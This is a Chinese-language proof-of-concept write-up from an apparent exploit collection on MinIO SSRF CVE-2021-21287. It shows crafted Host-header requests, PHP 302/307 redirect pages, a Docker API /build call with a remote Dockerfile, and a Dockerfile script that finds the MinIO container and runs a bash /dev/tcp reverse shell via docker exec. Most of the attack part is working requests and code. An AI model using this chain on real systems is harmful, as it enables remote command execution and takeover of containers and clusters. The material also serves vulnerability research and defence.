Awesome-POC/云安全漏洞/MinIO SSRF 漏洞 CVE-2021-21287.md
2024-11-06 14:10:36 +08:00

230 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MinIO SSRF 漏洞 CVE-2021-21287
## 漏洞描述
随着工作和生活中的一些环境逐渐往云端迁移,对象存储的需求也逐渐多了起来,[MinIO](https://min.io/)就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议也支持作为S3的网关所以在全球被广泛使用在Github上已有25k star。MinIO中存在SSRF漏洞通过漏洞可以获取敏感信息或远程命令执行
参考阅读:
- https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
## 漏洞影响
```
MinIO
```
## 漏洞复现
既然我们选择了从MinIO入手那么先了解一下MinIO。其实我前面也说了因为平时用到MinIO的时候很多所以这一步可以省略了。其使用Go开发提供HTTP接口而且还提供了一个前端页面名为“MinIO Browser”。当然前端页面就是一个登陆接口不知道口令无法登录。
那么从入口点(前端接口)开始对其进行代码审计吧。
在User-Agent满足正则`.*Mozilla.*`的情况下我们即可访问MinIO的前端接口前端接口是一个自己实现的JsonRPC
![](images/202202091232124.png)
我们感兴趣的就是其鉴权的方法随便找到一个RPC方法可见其开头调用了`webRequestAuthenticate`跟进看一下发现这里用的是jwt鉴权
![](images/202202091232341.png)
jwt常见的攻击方法主要有下面这几种
- 将alg设置为None告诉服务器不进行签名校验
- 如果alg为RSA可以尝试修改为HS256即告诉服务器使用公钥进行签名的校验
- 爆破签名密钥
查看MinIO的JWT模块发现其中对alg进行了校验只允许以下三种签名方法
![](images/202202091232648.png)
这就堵死了前两种绕过方法爆破当然就更别说了通常仅作为没办法的情况下的手段。当然MinIO中使用用户的密码作为签名的密钥这个其实会让爆破变地简单一些。
鉴权这块没啥突破我们就可以看看有哪些RPC接口没有进行权限验证。
很快找到了一个接口,`LoginSTS`。这个接口其实是AWS STS登录接口的一个代理用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口也就还是他自己因为它是兼容AWS协议的
简化其代码如下:
```go
// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
ctx := newWebContext(r, args, "WebLoginSTS")
v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)
scheme := "http"
// ...
u := &url.URL{
Scheme: scheme,
Host: r.Host,
}
u.RawQuery = v.Encode()
req, err := http.NewRequest(http.MethodPost, u.String(), nil)
// ...
}
```
没发现有鉴权上的绕过问题但是发现了另一个有趣的问题。这里MinIO为了将请求转发给“自己”就从用户发送的HTTP头Host中获取到“自己的地址”并将其作为URL的Host构造了新的URL。
这个过程有什么问题呢?
因为请求头是用户可控的所以这里可以构造任意的Host进而构造一个SSRF漏洞。
我们来实际测试一下,向`http://192.168.227.131:9000`发送如下请求其中Host的值是我本地ncat开放的端口`192.168.1.142:4444`
```plain
POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
```
成功收到请求:
![](images/202202091232269.png)
可以确定这里存在一个SSRF漏洞了。
仔细观察可以发现这是一个POST请求但是Path和Body都没法控制我们能控制的只有URL中的一个参数`WebIdentityToken`
但是这个参数经过了URL编码无法注入换行符等其他特殊字符。这样就比较鸡肋了如果仅从现在来看这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。
幸运的是Go默认的http库会跟踪302跳转而且不论是GET还是POST请求。所以我们这里可以302跳转来“升级”SSRF漏洞。
使用PHP来简单地构造一个302跳转
```php
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');
```
将其保存成index.php启动一个PHP服务器
![](images/202202091232095.png)
将Host指向这个PHP服务器。这样经过一次302跳转我们收获了一个可以控制完整URL的GET请求
![](images/202202091233803.png)
放宽了一些限制结合前面我对这套内网的了解我们可以尝试攻击Docker集群的2375端口。
2375是Docker API的接口使用HTTP协议通信默认不会监听TCP地址这里可能是为了方便内网其他机器使用所以开放在内网的地址里了。那么我们是否可以通过SSRF来攻击这个接口呢
在Docker未授权访问的情况下我们通常可以使用`docker run``docker exec`来在目标容器里执行任意命令(如果你不了解,可以参考[这篇文章](http://blog.neargle.com/SecNewsBak/drops/新姿势之Docker Remote API未授权访问漏洞分析和利用.html)。但是翻阅Docker的文档可知这两个操作的请求是`POST /containers/create``POST /containers/{id}/exec`
两个API都是POST请求而我们可以构造的SSRF却是一个GET的。怎么办呢
还记得我们是怎样获得这个GET型的SSRF的吗通过302跳转而接受第一次跳转的请求就是一个POST请求。不过我们没法直接利用这个POST请求因为他的Path不可控。
如何构造一个Path可控的POST请求呢
我想到了307跳转307跳转是在[RFC 7231](https://tools.ietf.org/html/rfc7231#page-58)中定义的一种HTTP状态码描述如下
```plain
The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.
```
307跳转的特点就是**不会**改变原始请求的方法也就是说在服务端返回307状态码的情况下客户端会按照Location指向的地址发送一个相同方法的请求。
我们正好可以利用这个特性来获得POST请求。
简单修改一下之前的index.php
```php
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);
```
尝试SSRF击收到了预期的请求
![](images/202202091233552.png)
Bingo获得了一个POST请求的SSRF虽然没有Body。
回到Docker API我发现现在仍然没法对run和exec两个API做利用原因是这两个API都需要在请求Body中传输JSON格式的参数而我们这里的SSRF无法控制Body。
继续翻越Docker文档我发现了另一个API[Build an image](https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild)
![](images/202202091233674.png)
这个API的大部分参数是通过Query Parameters传输的我们可以控制。阅读其中的选项发现它可以接受一个名为`remote`的参数,其说明为:
```plain
A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the files contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.
```
这个参数可以传入一个Git地址或者一个HTTP URL内容是一个Dockerfile或者一个包含了Dockerfile的Git项目或者一个压缩包。
也就是说Docker API支持通过指定远程URL的方式来构建镜像而不需要我在本地写入一个Dockerfile。
所以我尝试编写了这样一个Dockerfile看看是否能够build这个镜像如果可以那么我的4444端口应该能收到wget的请求
```plain
FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build
```
然后修改前面的index.php指向Docker集群的2375端口
```plain
<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);
```
进行SSRF攻击等待了一会儿果然收到请求了
![](images/202202091233874.png)
完美,我们已经可以在目标集群容器里执行任意命令了。
此时离我们的目标拿下MinIO还差一点点后面的攻击其实就比较简单了。
因为现在可以执行任意命令我们就不会再受到SSRF漏洞的限制可以直接反弹一个shell或者可以直接发送任意数据包到Docker API来访问容器。经过一顿测试我发现MinIO虽然是运行的一个service但实际上就只有一个容器。
所以我编写了一个自动化攻击MinIO容器的脚本并将其放在了Dockerfile中让其在Build的时候进行攻击利用`docker exec`在MinIO的容器里执行反弹shell的命令。这个Dockerfile如下
```shell
FROM alpine:3.13
RUN apk add curl bash jq
RUN set -ex && \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="http://192.168.227.131:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash
```
这个脚本所干的事情比较简单,一个是遍历了所有容器,如果发现其镜像的名字中包含`minio/minio`则认为这个容器就是MinIO所在的容器。拿到这个容器的Id用exec的API在其中执行反弹shell的命令
[Youtube 演示链接](https://www.youtube.com/embed/WyDEn0wUhPc)
当然我们也可以通过Docker API来获取集群权限